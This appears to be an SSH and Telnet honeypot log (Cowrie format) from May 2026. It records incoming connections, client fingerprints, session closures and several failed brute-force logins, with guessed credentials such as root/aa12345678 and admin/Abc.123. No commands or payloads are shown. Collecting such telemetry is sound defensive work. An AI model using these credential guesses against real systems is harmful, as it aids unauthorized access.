{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:00.325417Z","src_ip":"198.98.55.71","session":"89804874eea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa12345678","message":"login attempt [root/aa12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:00.379916Z","src_ip":"198.98.55.71","session":"89804874eea0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:01.390876Z","src_ip":"198.98.55.71","session":"89804874eea0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41382,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4272efb8dcc","protocol":"telnet","message":"New connection: 45.58.127.90:41382 (10.17.0.5:23) [session: f4272efb8dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:04.307259Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53514,"dst_ip":"10.17.0.5","dst_port":23,"session":"66d5bde095b9","protocol":"telnet","message":"New connection: 45.58.127.90:53514 (10.17.0.5:23) [session: 66d5bde095b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:21.174231Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":60588,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed0c9e1ecae8","protocol":"ssh","message":"New connection: 98.70.48.241:60588 (159.203.135.109:22) [session: ed0c9e1ecae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:25.341624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:25.347092Z","src_ip":"98.70.48.241","session":"ed0c9e1ecae8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:25.673380Z","src_ip":"98.70.48.241","session":"ed0c9e1ecae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployment","password":"deployment","message":"login attempt [deployment/deployment] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:26.466311Z","src_ip":"98.70.48.241","session":"ed0c9e1ecae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:27.673191Z","src_ip":"98.70.48.241","session":"ed0c9e1ecae8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":50092,"dst_ip":"159.203.135.109","dst_port":22,"session":"8dd27445f6ab","protocol":"ssh","message":"New connection: 87.106.29.151:50092 (159.203.135.109:22) [session: 8dd27445f6ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:33.297060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:33.302525Z","src_ip":"87.106.29.151","session":"8dd27445f6ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:33.395708Z","src_ip":"87.106.29.151","session":"8dd27445f6ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#$%QWERTASDFG","message":"login attempt [root/!@#$%QWERTASDFG] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:33.795952Z","src_ip":"87.106.29.151","session":"8dd27445f6ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:34.894746Z","src_ip":"87.106.29.151","session":"8dd27445f6ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40514,"dst_ip":"10.17.0.5","dst_port":23,"session":"363e08887724","protocol":"telnet","message":"New connection: 45.58.127.90:40514 (10.17.0.5:23) [session: 363e08887724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:39.189748Z"}
{"eventid":"cowrie.session.closed","duration":38.3040611743927,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:42.610428Z","src_ip":"45.58.127.90","session":"f4272efb8dcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":50474,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1ef8efc53e1","protocol":"ssh","message":"New connection: 198.98.55.71:50474 (159.203.135.109:22) [session: f1ef8efc53e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:47.832206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:47.837404Z","src_ip":"198.98.55.71","session":"f1ef8efc53e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:47.842831Z","src_ip":"198.98.55.71","session":"f1ef8efc53e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaAA11!!","message":"login attempt [root/aaAA11!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:47.894802Z","src_ip":"198.98.55.71","session":"f1ef8efc53e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40530,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b38952cae4c","protocol":"telnet","message":"New connection: 45.58.127.90:40530 (10.17.0.5:23) [session: 3b38952cae4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:48.213203Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:48.904072Z","src_ip":"198.98.55.71","session":"f1ef8efc53e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.176.207.83","src_port":40861,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbda6adaadad","protocol":"telnet","message":"New connection: 60.176.207.83:40861 (10.17.0.5:23) [session: fbda6adaadad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:35:55.811300Z"}
{"eventid":"cowrie.session.closed","duration":39.05226802825928,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:00.226386Z","src_ip":"45.58.127.90","session":"66d5bde095b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":45500,"dst_ip":"159.203.135.109","dst_port":23,"session":"991d172f108b","protocol":"telnet","message":"New connection: 135.148.33.91:45500 (159.203.135.109:23) [session: 991d172f108b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:01.366744Z"}
{"eventid":"cowrie.session.closed","duration":13.388548851013184,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:09.199706Z","src_ip":"60.176.207.83","session":"fbda6adaadad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52088,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8a2aa500e0d","protocol":"telnet","message":"New connection: 45.58.127.90:52088 (10.17.0.5:23) [session: f8a2aa500e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:14.514176Z"}
{"eventid":"cowrie.session.closed","duration":38.86303186416626,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:18.052654Z","src_ip":"45.58.127.90","session":"363e08887724","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48192,"dst_ip":"10.17.0.5","dst_port":23,"session":"8debead6bf8b","protocol":"telnet","message":"New connection: 45.58.127.90:48192 (10.17.0.5:23) [session: 8debead6bf8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:22.389275Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.204.138.187","src_port":59776,"dst_ip":"10.17.0.5","dst_port":23,"session":"984351122462","protocol":"telnet","message":"New connection: 92.204.138.187:59776 (10.17.0.5:23) [session: 984351122462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:23.252086Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":36018,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bf9642e5a29","protocol":"ssh","message":"New connection: 87.106.29.151:36018 (159.203.135.109:22) [session: 6bf9642e5a29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:24.383780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:24.391239Z","src_ip":"87.106.29.151","session":"6bf9642e5a29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:24.484400Z","src_ip":"87.106.29.151","session":"6bf9642e5a29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deni","password":"deni","message":"login attempt [deni/deni] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:24.887420Z","src_ip":"87.106.29.151","session":"6bf9642e5a29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:25.984725Z","src_ip":"87.106.29.151","session":"6bf9642e5a29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.381671667099,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:26.594735Z","src_ip":"45.58.127.90","session":"3b38952cae4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":42920,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb969b2ac1e3","protocol":"ssh","message":"New connection: 98.70.48.241:42920 (159.203.135.109:22) [session: cb969b2ac1e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:28.995879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:29.010883Z","src_ip":"98.70.48.241","session":"cb969b2ac1e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:29.214413Z","src_ip":"98.70.48.241","session":"cb969b2ac1e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Abc.123","message":"login attempt [admin/Abc.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:30.058394Z","src_ip":"98.70.48.241","session":"cb969b2ac1e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:31.265944Z","src_ip":"98.70.48.241","session":"cb969b2ac1e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":35666,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffdec6feba7f","protocol":"ssh","message":"New connection: 47.239.15.75:35666 (159.203.135.109:22) [session: ffdec6feba7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:34.835465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:35.013752Z","src_ip":"47.239.15.75","session":"ffdec6feba7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.023348808288574,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:35.389957Z","src_ip":"135.148.33.91","session":"991d172f108b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":33826,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6dd0c11280f","protocol":"ssh","message":"New connection: 198.98.55.71:33826 (159.203.135.109:22) [session: d6dd0c11280f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:37.151896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:37.157407Z","src_ip":"198.98.55.71","session":"d6dd0c11280f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:37.163080Z","src_ip":"198.98.55.71","session":"d6dd0c11280f","protocol":"ssh"}
